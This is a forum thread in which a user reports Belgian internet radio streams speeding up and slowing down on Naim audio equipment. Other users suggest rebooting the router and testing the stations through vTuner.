nodeSize = collectingTwoTimeStamps ? OFS_SUBNODE02 : OFS_SUBNODE01;
childOfsSize = CHILD_OFS_SIZE_3;
int arraySize = (nodeSize * nNodes) + (childOfsSize * (nNodes - 1)); // For each node, except the root one, there is a parent node that references it with childOfsSize bytes long offset
if (arraySize > 0xFFFFFF) { // compactData is to big to use 3 bytes subnode offsets
childOfsSize = CHILD_OFS_SIZE_4;
arraySize = (nodeSize * nNodes) + (childOfsSize * (nNodes - 1));
}
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("generateCompact data: nNodes " + nNodes); // NOI18N
LOGGER.finest("generateCompact data: node size " + nodeSize); // NOI18N
LOGGER.finest("generateCompact data: array size " + arraySize); // NOI18N
LOGGER.finest("generateCompact data: child offset " + childOfsSize); // NOI18N
}
compactData = new byte[arraySize];
rootNode = filterCCT(rootNode);
generateMirrorNode(rootNode, 0);
}
/**
* Generates an equivalent of rtNode in the compact data. Returns the offset right after the last generated node, which
* is this node if it has no children, or the last recursive child of this node.
*/
00843 private int generateMirrorNode(final TimedCPUCCTNode rtNode, final int dataOfs) {
if (LOGGER.isLoggable(Level.FINEST)) {
LOGGER.finest("Generate mirror node for ofs: " + dataOfs + ", node: " + rtNode); // NOI18N
}
long thisNodeTotalTime0InTimerUnits = 0;
long thisNodeTotalTime1InTimerUnits = 0;
int nCallsFromThisNode = 0;
int totalNCallsFromThisNode = 0;
generateNodeBase(rtNode, dataOfs);
totalInvNo += rtNode.getNCalls();
RuntimeCPUCCTNode.Children nodeChildren = rtNode.getChildren();
int nChildren = (nodeChildren != null) ? nodeChildren.size() : 0;
int nextNodeOfs = dataOfs + nodeSize + (nChildren * childOfsSize);
nCallsFromThisNode += rtNode.getNCallsDiff();
if (nChildren > 0) {
int childCounter = 0;
for (int i = 0; i < nChildren; i++) {
RuntimeCPUCCTNode aNode = nodeChildren.getChildAt(i);
if (aNode instanceof MethodCPUCCTNode) { // TODO replace "instanceof" by a visitor implementation
setChildOfsForNodeOfs(dataOfs, childCounter, nextNodeOfs);
nextNodeOfs = generateMirrorNode((MethodCPUCCTNode) aNode, nextNodeOfs);
thisNodeTotalTime0InTimerUnits += childTotalTime0InTimerUnits; // Completely uncleansed time
if (collectingTwoTimeStamps) {
thisNodeTotalTime1InTimerUnits += childTotalTime1InTimerUnits; // Ditto
}
nCallsFromThisNode += ((MethodCPUCCTNode) aNode).getNCalls();
totalNCallsFromThisNode += childTotalNCalls;
childCounter++;
}
}
}
// Calculate cleansed self time
/* PROTOTYPE [wait]
long time = (long) (((double) rtNode.netTime0 - rtNode.waitTime0 - rtNode.nCalls * timingData.methodEntryExitInnerTime0 - nCallsFromThisNode * timingData.methodEntryExitOuterTime0) * 1000000 / timingData.timerCountsInSecond0);
*/
long time = (long) timingAdjuster.adjustTime(rtNode.getNetTime0(), rtNode.getNCalls(), nCallsFromThisNode, false);
// (long) (((double) rtNode.getNetTime0() - rtNode.getNCalls() * timingData.methodEntryExitInnerTime0
// - nCallsFromThisNode * timingData.methodEntryExitOuterTime0) * 1000000 / timingData
// .timerCountsInSecond0);
if (time < 0) {
// It may happen that for some very short methods the resulting time, after subtracting the instrumentation time, gets negative.
// When I calculated some concrete results using the (now-commented) code below, it appeared that for such methods the net
// time per call, in timer counts, is in the order of -0.1.. -0.2. In other words, it's a very small error caused by the
// hi-res timer (on Windows at least) being still too coarse-grain if just a few machine instructions are to be measured; and
// possibly insufficient precision of our advanced determination of instrumentation time.
// Setting the result to zero seems reasonable in this situation.
//if (nCallsFromThisNode == 0) {
// Net time per call, in counts
//double ntpc = ((double)cgNode.netTime - thisNode.nCalls * methodEntryExitInnerTime - nCallsFromThisNode * methodEntryExitOuterTime) / thisNode.nCalls;
//System.out.println("*** N: id= " + thisNode.methodId + ", cls= " + thisNode.nCalls + ", netTime= " + cgNode.netTime + ", nCFrom= " + nCallsFromThisNode + ", res = " + thisNode.netTime + ", ntpc = " + ntpc);
//}
time = 0;
}
setSelfTime0ForNodeOfs(dataOfs, time);
setWaitTime0ForNodeOfs(dataOfs, rtNode.getWaitTime0());
setSleepTime0ForNodeOfs(dataOfs, rtNode.getSleepTime0());
thisNodeTotalTime0InTimerUnits += rtNode.getNetTime0(); // Uncleansed time for this node and all its children
childTotalTime0InTimerUnits = thisNodeTotalTime0InTimerUnits; // It will be effectively returned by this method
// Calculate cleansed total time
time = (long) timingAdjuster.adjustTime(thisNodeTotalTime0InTimerUnits, rtNode.getNCalls(), totalNCallsFromThisNode,
false);
// time = (long) (((double) thisNodeTotalTime0InTimerUnits - rtNode.getNCalls()* timingData.methodEntryExitInnerTime0
// - totalNCallsFromThisNode * timingData.methodEntryExitCallTime0) * 1000000 / timingData
// .timerCountsInSecond0);
if (time < 0) {
//System.out.println("*** Negative: " + thisNode.totalTime0 + ", thisNCalls = " + thisNode.nCalls + ", fromNCalls = " + totalNCallsFromThisNode);
time = 0;
}
setTotalTime0ForNodeOfs(dataOfs, time);
if (collectingTwoTimeStamps) {
// Calculate cleansed self time
time = (long) timingAdjuster.adjustTime(rtNode.getNetTime1(), rtNode.getNCalls(), nCallsFromThisNode, true);
// time = (long) (((double) rtNode.getNetTime1()
// - rtNode.getNCalls() * timingData.methodEntryExitInnerTime1
// - nCallsFromThisNode * timingData.methodEntryExitOuterTime1) * 1000000 / timingData
// .timerCountsInSecond1);
if (time < 0) {
time = 0;
}
setSelfTime1ForNodeOfs(dataOfs, time);
thisNodeTotalTime1InTimerUnits += rtNode.getNetTime1();
childTotalTime1InTimerUnits = thisNodeTotalTime1InTimerUnits; // It will be effectively returned by this method
// Calculate cleansed total time
time = (long) timingAdjuster.adjustTime(thisNodeTotalTime1InTimerUnits, rtNode.getNCalls(),
totalNCallsFromThisNode, true);
// time = (long) (((double) thisNodeTotalTime1InTimerUnits - rtNode.getNCalls() * timingData.methodEntryExitInnerTime0
// - totalNCallsFromThisNode * timingData.methodEntryExitCallTime1) * 1000000 / timingData
// .timerCountsInSecond1);
if (time < 0) {
time = 0;
}
setTotalTime1ForNodeOfs(dataOfs, time);
}
childTotalNCalls = totalNCallsFromThisNode + rtNode.getNCalls(); // It will be effectively returned by this method
return nextNodeOfs;
}
private void generateNodeBase(TimedCPUCCTNode rtNode, int nodeDataOfs) {
int methodId = (rtNode instanceof MethodCPUCCTNode) ? ((MethodCPUCCTNode) rtNode).getMethodId() : 0;
int nCalls = rtNode.getNCalls();
int nChildren = (rtNode.getChildren() != null) ? rtNode.getChildren().size() : 0;
setMethodIdForNodeOfs(nodeDataOfs, methodId);
setNCallsForNodeOfs(nodeDataOfs, nCalls);
setNChildrenForNodeOfs(nodeDataOfs, nChildren);
}
private void mergeBySelfTime(PrestimeCPUCCTNodeFree curNode, int sourceNodeDataOfs) {
curNode.addNCalls(getNCallsForNodeOfs(sourceNodeDataOfs));
curNode.addTotalTime0(getSelfTime0ForNodeOfs(sourceNodeDataOfs));
if (collectingTwoTimeStamps) {
curNode.addTotalTime1(getSelfTime1ForNodeOfs(sourceNodeDataOfs));
}
curNode.addWaitTime0(getWaitTime0ForNodeOfs(sourceNodeDataOfs));
curNode.addSleepTime0(getSleepTime0ForNodeOfs(sourceNodeDataOfs));
}
private void subtractNodeDataBySelfTime(PrestimeCPUCCTNodeFree curNode, int sourceNodeDataOfs) {
curNode.addNCalls(-getNCallsForNodeOfs(sourceNodeDataOfs));
curNode.addTotalTime0(-getSelfTime0ForNodeOfs(sourceNodeDataOfs));
if (collectingTwoTimeStamps) {
curNode.addTotalTime1(-getSelfTime1ForNodeOfs(sourceNodeDataOfs));
}
curNode.addWaitTime0(-getWaitTime0ForNodeOfs(sourceNodeDataOfs)); // TODO: [wait] what is this?
curNode.addSleepTime0(-getSleepTime0ForNodeOfs(sourceNodeDataOfs)); // TODO: [wait] what is this?
}
}
Generated by Doxygen 1.6.0 Back to index | {
"url": "http://visualvm.sourcearchive.com/documentation/1.2.1/CPUCCTContainer_8java-source.html",
"source_domain": "visualvm.sourcearchive.com",
"snapshot_id": "crawl=CC-MAIN-2018-09",
"warc_metadata": {
"Content-Length": "88328",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:EOOYXHZSQGGZUBT4LMB35N75Q7RUVM6K",
"WARC-Concurrent-To": "<urn:uuid:6e1e19e5-5d80-4a1a-9f1b-fcd44937f23b>",
"WARC-Date": "2018-02-19T11:32:57Z",
"WARC-IP-Address": "5.9.86.18",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:KPIMA2VLEWAF6HYLKWEKKXUIYK3O5XTQ",
"WARC-Record-ID": "<urn:uuid:4d73daa3-f776-4aeb-a36e-bf1e17288b83>",
"WARC-Target-URI": "http://visualvm.sourcearchive.com/documentation/1.2.1/CPUCCTContainer_8java-source.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:2a8b2dd2-a1d2-4729-ad4f-90681545a8b2>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-147-3-28.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
33,
94,
95,
116,
117,
120,
180,
183,
250,
253,
325,
388,
455,
526,
578,
621,
683,
752,
825,
880,
936,
1007,
1071,
1140,
1211,
1248,
1307,
1310,
1329,
1405,
1476,
1519,
1522,
1595,
1658,
1729,
1801,
1871,
1944,
2015,
2088,
2158,
2214,
2218,
2219,
2266,
2267,
2316,
2379,
2452,
2526,
2598,
2630,
2663,
2691,
2723,
2756,
2757,
2758,
2762,
2895,
2929,
3065,
3203,
3305,
3308,
3331,
3357,
3361,
3398,
3529,
3530,
3622,
3623,
3685,
3755,
3870,
3985,
4100,
4215,
4330,
4473,
4481,
4530,
4592,
4651,
4713,
4775,
4837,
4904,
4971,
5038,
5105,
5158,
5211,
5212,
5342,
5431,
5481,
5535,
5536,
5667,
5668,
5717,
5771,
5814,
5847,
5881,
5917,
5918,
5979,
6018,
6057,
6194,
6318,
6319,
6376,
6428,
6486,
6523,
6637,
6665,
6666,
6774,
6890,
7005,
7121,
7233,
7277,
7320,
7369,
7370,
7439,
7478,
7517,
7518,
7610,
7652,
7700,
7742,
7797,
7842,
7871,
7905,
7943,
7973,
7974,
8034,
8068,
8069,
8129,
8175,
8221,
8250,
8251,
8297,
8298,
8372,
8373,
8504,
8505,
8664,
8737,
8835,
8865,
8866,
8900,
8938,
8939,
8989,
9035,
9069,
9070,
9148,
9149,
9198,
9199,
9266,
9267,
9331,
9332,
9367,
9405,
9415,
9421,
9422,
9489,
9535,
9541,
9542,
9673,
9674,
9726,
9757,
9763,
9764,
9830,
9878,
10005,
10022,
10149,
10159,
10165,
10166,
10215,
10255,
10261,
10262,
10313,
10360,
10399,
10415,
10455,
10493,
10499,
10500,
10561,
10665,
10671,
10672,
10731,
10783,
10833,
10839,
10840,
10890,
10938,
10944,
10945,
10998,
11095,
11101,
11102,
11162,
11207,
11213,
11214,
11260,
11285,
11291,
11292,
11346,
11397,
11403,
11404,
11458,
11509,
11515,
11516,
11571,
11589,
11610,
11611,
11642,
11667,
11673,
11674,
11710,
11737,
11743,
11744,
11856,
11955,
12024,
12063,
12069,
12070,
12125,
12172,
12178,
12179,
12234,
12281,
12287,
12288,
12342,
12360,
12381,
12382,
12455,
12498,
12504,
12505,
12547,
12582,
12588,
12589,
12631,
12666,
12672,
12673,
12718,
12756,
12762,
12763,
12814,
12858,
12864,
12865,
12916,
12958,
12964,
12965,
13037,
13070,
13105,
13106,
13158,
13159,
13191,
13228,
13229,
13274,
13319,
13336,
13381,
13391,
13392,
13427,
13428,
13461,
13462,
13510,
13564,
13621,
13684,
13731,
13784,
13828,
13872,
13908,
13962,
13963,
14027,
14028,
14078,
14116,
14126,
14132,
14133,
14165,
14238,
14270,
14304,
14305,
14356,
14357,
14399,
14431,
14463,
14464,
14511,
14564,
14620,
14682,
14728,
14780,
14823,
14866,
14901,
14954,
14960,
14961,
15040,
15088,
15215,
15232,
15359,
15369,
15375,
15376,
15432,
15497,
15547,
15553,
15554,
15617,
15665,
15671,
15672,
15738,
15835,
15841,
15842,
15909,
15960,
15966,
15967,
16034,
16085,
16091,
16092,
16166,
16235,
16236,
16304,
16351,
16357,
16358,
16426,
16473,
16479,
16480,
16553,
16621,
16622,
16679,
16736,
16737,
16766,
16816,
16882,
16932,
16946,
16956,
16957,
17012,
17083,
17084,
17123,
17198,
17208,
17209,
17275,
17281,
17282,
17369,
17406,
17448,
17449,
17485,
17536,
17562,
17597,
17598,
17639,
17683,
17689,
17690,
17698,
17797,
17876,
17981,
17989,
18052,
18104,
18172,
18255,
18293,
18354,
18364,
18365,
18410,
18411,
18477,
18507,
18517,
18518,
18575,
18576,
18622,
18693,
18703,
18704,
18728,
18734,
18735,
18794,
18828,
18829,
18864,
18865,
18907,
18913,
18914,
18986,
19023,
19024,
19060,
19111,
19137,
19172,
19173,
19230,
19231,
19272,
19316,
19317,
19337,
19343,
19344,
19383,
19476,
19482,
19483,
19522,
19622,
19674,
19680,
19681,
19720,
19821,
19916,
19922,
19923,
19963,
20066,
20170,
20223,
20229,
20230,
20293,
20417,
20509,
20510,
20562,
20593,
20594,
20614,
20620,
20621,
20667,
20729,
20780,
20781,
20820,
20875,
20885,
20886,
20934,
21092,
21098,
21099,
21178,
21230,
21286,
21341,
21347,
21348,
21400,
21426,
21488,
21549,
21605,
21611,
21612,
21664,
21690,
21752,
21814,
21875,
21931,
21937,
21938,
21991,
22017,
22079,
22141,
22203,
22264,
22320,
22326,
22327,
22401,
22451,
22471,
22481,
22482,
22525,
22566,
22567,
22620,
22621,
22672,
22729,
22739,
22740,
22772,
22821,
22858,
22859,
22882,
22896,
22947,
23003,
23053,
23079,
23229,
23292,
23341,
23374,
23445,
23496,
23522,
23554,
23605,
23627,
23652,
23693,
23711,
23712,
23735,
23749,
23797,
23919,
24023,
24024,
24069,
24132,
24175,
24200,
24237,
24300,
24371,
24438,
24505,
24576,
24645,
24693,
24711,
24712,
24735,
24749,
24865,
24875,
24876,
24962,
24963,
25009,
25095,
25105,
25106,
25138,
25186,
25203,
25303,
25359,
25415,
25416,
25463,
25523,
25541,
25562,
25635,
25692,
25767,
25795,
25809,
25819,
25825,
25826,
25834,
25954,
26049,
26057,
26099,
26220,
26264,
26265,
26314,
26360,
26429,
26430,
26467,
26558,
26572,
26573,
26621,
26622,
26700,
26701,
26810,
26811,
26858,
26929,
27009,
27067,
27068,
27178,
27179,
27253,
27330,
27423,
27453,
27454,
27523,
27578,
27579,
27614,
27640,
27662,
27680,
27741,
27787,
27788,
27827,
27903,
27953,
27978,
28039,
28057,
28058,
28101,
28115,
28116,
28202,
28203,
28298,
28407,
28408,
28455,
28580,
28647,
28709,
28710,
28828,
28829,
28913,
29000,
29140,
29214,
29268,
29321,
29370,
29427,
29483,
29505,
29506,
29608,
29686,
29736,
29782,
29827,
29865,
29883,
29884,
29927,
29969,
30004,
30018,
30028,
30034,
30035,
30043,
30154,
30162,
30254,
30336,
30464,
30596,
30666,
30742,
30812,
30888,
30889,
31023,
31160,
31161,
31319,
31498,
31499,
31639,
31764,
31810,
32011,
32012,
32174,
32319,
32336,
32383,
32393,
32394,
32475,
32516,
32555,
32565,
32566,
32613,
32658,
32668,
32669,
32725,
32726,
32765,
32825,
32835,
32841,
32842,
32932,
33052,
33102,
33103,
33124,
33130,
33131,
33202,
33274,
33344,
33345,
33414,
33508,
33509,
33555,
33642,
33652,
33653,
33686,
33757,
33789,
33790,
33829,
33906,
33942,
33952,
33953,
33977,
33983,
33984,
34061,
34137,
34178,
34179,
34373,
34374,
34466,
34511,
34588,
34598,
34599,
34646,
34725,
34809,
34895,
34986,
34996,
34997,
35040,
35041,
35081,
35082,
35123,
35129,
35130,
35138,
35262,
35347,
35355,
35447,
35494,
35597,
35607,
35608,
35657,
35706,
35742,
35783,
35784,
35827,
35828,
35870,
35871,
35943,
35944,
36018,
36093,
36094,
36148,
36149,
36178,
36212,
36213,
36263,
36333,
36334,
36448,
36527,
36620,
36621,
36734,
36735,
36786,
36882,
36904,
36905,
36987,
37052,
37088,
37106,
37120,
37130,
37131,
37171,
37199,
37437,
37449,
37572,
37573,
37686,
37786,
37826,
37850,
37991,
38126,
38259,
38397,
38499,
38577,
38622,
38666,
38831,
39052,
39068,
39090,
39100,
39101,
39148,
39212,
39278,
39279,
39397,
39517,
39620,
39621,
39746,
39805,
39806,
39935,
40039,
40079,
40103,
40261,
40283,
40293,
40294,
40342,
40343,
40382,
40426,
40547,
40548,
40614,
40696,
40802,
40848,
40876,
40902,
40916,
40917,
40968,
41036,
41160,
41267,
41268,
41372,
41459,
41460,
41596,
41706,
41752,
41780,
41806,
41820,
41821,
41873,
41883,
41884,
42007,
42008,
42036,
42042,
42043,
42120,
42229,
42270,
42360,
42361,
42415,
42465,
42521,
42527,
42528,
42618,
42685,
42759,
42760,
42799,
42877,
42887,
42888,
42961,
43036,
43042,
43043,
43144,
43212,
43287,
43288,
43327,
43406,
43416,
43417,
43521,
43627,
43633,
43635,
43636
],
"line_end_idx": [
33,
94,
95,
116,
117,
120,
180,
183,
250,
253,
325,
388,
455,
526,
578,
621,
683,
752,
825,
880,
936,
1007,
1071,
1140,
1211,
1248,
1307,
1310,
1329,
1405,
1476,
1519,
1522,
1595,
1658,
1729,
1801,
1871,
1944,
2015,
2088,
2158,
2214,
2218,
2219,
2266,
2267,
2316,
2379,
2452,
2526,
2598,
2630,
2663,
2691,
2723,
2756,
2757,
2758,
2762,
2895,
2929,
3065,
3203,
3305,
3308,
3331,
3357,
3361,
3398,
3529,
3530,
3622,
3623,
3685,
3755,
3870,
3985,
4100,
4215,
4330,
4473,
4481,
4530,
4592,
4651,
4713,
4775,
4837,
4904,
4971,
5038,
5105,
5158,
5211,
5212,
5342,
5431,
5481,
5535,
5536,
5667,
5668,
5717,
5771,
5814,
5847,
5881,
5917,
5918,
5979,
6018,
6057,
6194,
6318,
6319,
6376,
6428,
6486,
6523,
6637,
6665,
6666,
6774,
6890,
7005,
7121,
7233,
7277,
7320,
7369,
7370,
7439,
7478,
7517,
7518,
7610,
7652,
7700,
7742,
7797,
7842,
7871,
7905,
7943,
7973,
7974,
8034,
8068,
8069,
8129,
8175,
8221,
8250,
8251,
8297,
8298,
8372,
8373,
8504,
8505,
8664,
8737,
8835,
8865,
8866,
8900,
8938,
8939,
8989,
9035,
9069,
9070,
9148,
9149,
9198,
9199,
9266,
9267,
9331,
9332,
9367,
9405,
9415,
9421,
9422,
9489,
9535,
9541,
9542,
9673,
9674,
9726,
9757,
9763,
9764,
9830,
9878,
10005,
10022,
10149,
10159,
10165,
10166,
10215,
10255,
10261,
10262,
10313,
10360,
10399,
10415,
10455,
10493,
10499,
10500,
10561,
10665,
10671,
10672,
10731,
10783,
10833,
10839,
10840,
10890,
10938,
10944,
10945,
10998,
11095,
11101,
11102,
11162,
11207,
11213,
11214,
11260,
11285,
11291,
11292,
11346,
11397,
11403,
11404,
11458,
11509,
11515,
11516,
11571,
11589,
11610,
11611,
11642,
11667,
11673,
11674,
11710,
11737,
11743,
11744,
11856,
11955,
12024,
12063,
12069,
12070,
12125,
12172,
12178,
12179,
12234,
12281,
12287,
12288,
12342,
12360,
12381,
12382,
12455,
12498,
12504,
12505,
12547,
12582,
12588,
12589,
12631,
12666,
12672,
12673,
12718,
12756,
12762,
12763,
12814,
12858,
12864,
12865,
12916,
12958,
12964,
12965,
13037,
13070,
13105,
13106,
13158,
13159,
13191,
13228,
13229,
13274,
13319,
13336,
13381,
13391,
13392,
13427,
13428,
13461,
13462,
13510,
13564,
13621,
13684,
13731,
13784,
13828,
13872,
13908,
13962,
13963,
14027,
14028,
14078,
14116,
14126,
14132,
14133,
14165,
14238,
14270,
14304,
14305,
14356,
14357,
14399,
14431,
14463,
14464,
14511,
14564,
14620,
14682,
14728,
14780,
14823,
14866,
14901,
14954,
14960,
14961,
15040,
15088,
15215,
15232,
15359,
15369,
15375,
15376,
15432,
15497,
15547,
15553,
15554,
15617,
15665,
15671,
15672,
15738,
15835,
15841,
15842,
15909,
15960,
15966,
15967,
16034,
16085,
16091,
16092,
16166,
16235,
16236,
16304,
16351,
16357,
16358,
16426,
16473,
16479,
16480,
16553,
16621,
16622,
16679,
16736,
16737,
16766,
16816,
16882,
16932,
16946,
16956,
16957,
17012,
17083,
17084,
17123,
17198,
17208,
17209,
17275,
17281,
17282,
17369,
17406,
17448,
17449,
17485,
17536,
17562,
17597,
17598,
17639,
17683,
17689,
17690,
17698,
17797,
17876,
17981,
17989,
18052,
18104,
18172,
18255,
18293,
18354,
18364,
18365,
18410,
18411,
18477,
18507,
18517,
18518,
18575,
18576,
18622,
18693,
18703,
18704,
18728,
18734,
18735,
18794,
18828,
18829,
18864,
18865,
18907,
18913,
18914,
18986,
19023,
19024,
19060,
19111,
19137,
19172,
19173,
19230,
19231,
19272,
19316,
19317,
19337,
19343,
19344,
19383,
19476,
19482,
19483,
19522,
19622,
19674,
19680,
19681,
19720,
19821,
19916,
19922,
19923,
19963,
20066,
20170,
20223,
20229,
20230,
20293,
20417,
20509,
20510,
20562,
20593,
20594,
20614,
20620,
20621,
20667,
20729,
20780,
20781,
20820,
20875,
20885,
20886,
20934,
21092,
21098,
21099,
21178,
21230,
21286,
21341,
21347,
21348,
21400,
21426,
21488,
21549,
21605,
21611,
21612,
21664,
21690,
21752,
21814,
21875,
21931,
21937,
21938,
21991,
22017,
22079,
22141,
22203,
22264,
22320,
22326,
22327,
22401,
22451,
22471,
22481,
22482,
22525,
22566,
22567,
22620,
22621,
22672,
22729,
22739,
22740,
22772,
22821,
22858,
22859,
22882,
22896,
22947,
23003,
23053,
23079,
23229,
23292,
23341,
23374,
23445,
23496,
23522,
23554,
23605,
23627,
23652,
23693,
23711,
23712,
23735,
23749,
23797,
23919,
24023,
24024,
24069,
24132,
24175,
24200,
24237,
24300,
24371,
24438,
24505,
24576,
24645,
24693,
24711,
24712,
24735,
24749,
24865,
24875,
24876,
24962,
24963,
25009,
25095,
25105,
25106,
25138,
25186,
25203,
25303,
25359,
25415,
25416,
25463,
25523,
25541,
25562,
25635,
25692,
25767,
25795,
25809,
25819,
25825,
25826,
25834,
25954,
26049,
26057,
26099,
26220,
26264,
26265,
26314,
26360,
26429,
26430,
26467,
26558,
26572,
26573,
26621,
26622,
26700,
26701,
26810,
26811,
26858,
26929,
27009,
27067,
27068,
27178,
27179,
27253,
27330,
27423,
27453,
27454,
27523,
27578,
27579,
27614,
27640,
27662,
27680,
27741,
27787,
27788,
27827,
27903,
27953,
27978,
28039,
28057,
28058,
28101,
28115,
28116,
28202,
28203,
28298,
28407,
28408,
28455,
28580,
28647,
28709,
28710,
28828,
28829,
28913,
29000,
29140,
29214,
29268,
29321,
29370,
29427,
29483,
29505,
29506,
29608,
29686,
29736,
29782,
29827,
29865,
29883,
29884,
29927,
29969,
30004,
30018,
30028,
30034,
30035,
30043,
30154,
30162,
30254,
30336,
30464,
30596,
30666,
30742,
30812,
30888,
30889,
31023,
31160,
31161,
31319,
31498,
31499,
31639,
31764,
31810,
32011,
32012,
32174,
32319,
32336,
32383,
32393,
32394,
32475,
32516,
32555,
32565,
32566,
32613,
32658,
32668,
32669,
32725,
32726,
32765,
32825,
32835,
32841,
32842,
32932,
33052,
33102,
33103,
33124,
33130,
33131,
33202,
33274,
33344,
33345,
33414,
33508,
33509,
33555,
33642,
33652,
33653,
33686,
33757,
33789,
33790,
33829,
33906,
33942,
33952,
33953,
33977,
33983,
33984,
34061,
34137,
34178,
34179,
34373,
34374,
34466,
34511,
34588,
34598,
34599,
34646,
34725,
34809,
34895,
34986,
34996,
34997,
35040,
35041,
35081,
35082,
35123,
35129,
35130,
35138,
35262,
35347,
35355,
35447,
35494,
35597,
35607,
35608,
35657,
35706,
35742,
35783,
35784,
35827,
35828,
35870,
35871,
35943,
35944,
36018,
36093,
36094,
36148,
36149,
36178,
36212,
36213,
36263,
36333,
36334,
36448,
36527,
36620,
36621,
36734,
36735,
36786,
36882,
36904,
36905,
36987,
37052,
37088,
37106,
37120,
37130,
37131,
37171,
37199,
37437,
37449,
37572,
37573,
37686,
37786,
37826,
37850,
37991,
38126,
38259,
38397,
38499,
38577,
38622,
38666,
38831,
39052,
39068,
39090,
39100,
39101,
39148,
39212,
39278,
39279,
39397,
39517,
39620,
39621,
39746,
39805,
39806,
39935,
40039,
40079,
40103,
40261,
40283,
40293,
40294,
40342,
40343,
40382,
40426,
40547,
40548,
40614,
40696,
40802,
40848,
40876,
40902,
40916,
40917,
40968,
41036,
41160,
41267,
41268,
41372,
41459,
41460,
41596,
41706,
41752,
41780,
41806,
41820,
41821,
41873,
41883,
41884,
42007,
42008,
42036,
42042,
42043,
42120,
42229,
42270,
42360,
42361,
42415,
42465,
42521,
42527,
42528,
42618,
42685,
42759,
42760,
42799,
42877,
42887,
42888,
42961,
43036,
43042,
43043,
43144,
43212,
43287,
43288,
43327,
43406,
43416,
43417,
43521,
43627,
43633,
43635,
43636,
43679
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 43679,
"ccnet_original_nlines": 1006,
"rps_doc_curly_bracket": 0.00627304008230567,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.11683475971221924,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01970520056784153,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4561675786972046,
"rps_doc_frac_unique_words": 0.30009710788726807,
"rps_doc_mean_word_length": 8.9148588180542,
"rps_doc_num_sentences": 366,
"rps_doc_symbol_to_word_ratio": 0.0003103199996985495,
"rps_doc_unigram_entropy": 6.016081809997559,
"rps_doc_word_count": 3089,
"rps_doc_frac_chars_dupe_10grams": 0.02374899946153164,
"rps_doc_frac_chars_dupe_5grams": 0.12709710001945496,
"rps_doc_frac_chars_dupe_6grams": 0.10512746125459671,
"rps_doc_frac_chars_dupe_7grams": 0.08010748773813248,
"rps_doc_frac_chars_dupe_8grams": 0.07324423640966415,
"rps_doc_frac_chars_dupe_9grams": 0.052654508501291275,
"rps_doc_frac_chars_top_2gram": 0.008497349917888641,
"rps_doc_frac_chars_top_3gram": 0.008715230040252209,
"rps_doc_frac_chars_top_4gram": 0.010022509843111038,
"rps_doc_books_importance": -3209.50439453125,
"rps_doc_books_importance_length_correction": -3209.50439453125,
"rps_doc_openwebtext_importance": -1821.635498046875,
"rps_doc_openwebtext_importance_length_correction": -1821.635498046875,
"rps_doc_wikipedia_importance": -1252.0428466796875,
"rps_doc_wikipedia_importance_length_correction": -1252.0428466796875
},
"fasttext": {
"dclm": 0.9700536727905273,
"english": 0.4237467348575592,
"fineweb_edu_approx": 2.5058841705322266,
"eai_general_math": 0.7413998246192932,
"eai_open_web_math": 0.1176719069480896,
"eai_web_code": 0.9698712229728699
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-8,041,908,851,461,438,000 | Internet Radio too slow/too fast
Dear Friends,
Since a few weeks I am going nuts about internet radio stations (Belgium: StuBru, MNM, Klara…) suddenly playing too slow, then accelerating again playing to fast. Looks like the steaming speed is variable. Sometimes the radio streaming also stops.
I have the same problem on Naim Uniti Nova and on several QB’s. The issue is only with internet radio stations. Tidal streaming works fine (so it is not my home network. Uniti Nova is connected with internet cable not wifi, same for QB’s).
Does anyone has similar issues and how can we fix this? Thank you. Joël.
Paging radio guru @Stevesky
In the meantime, i’d suggest rebooting your router, to rule out that being an issue.
Thanks Claire for your (very) quick reply. Rooter rebooted, same issue on the first radio song…
Ok, i’ll let Steve advise, then.
Assuming you’re running the latest Firmware and up to date version of Naim App?
If you play the station via vTuner on a computer or mobile device do you get the issues? You can search for a station to play via this link: vTuner Internet Radio
Tested: yes, the problem of slowing/accelerating radio stream is the same when listening to vTuner Internet Radio.
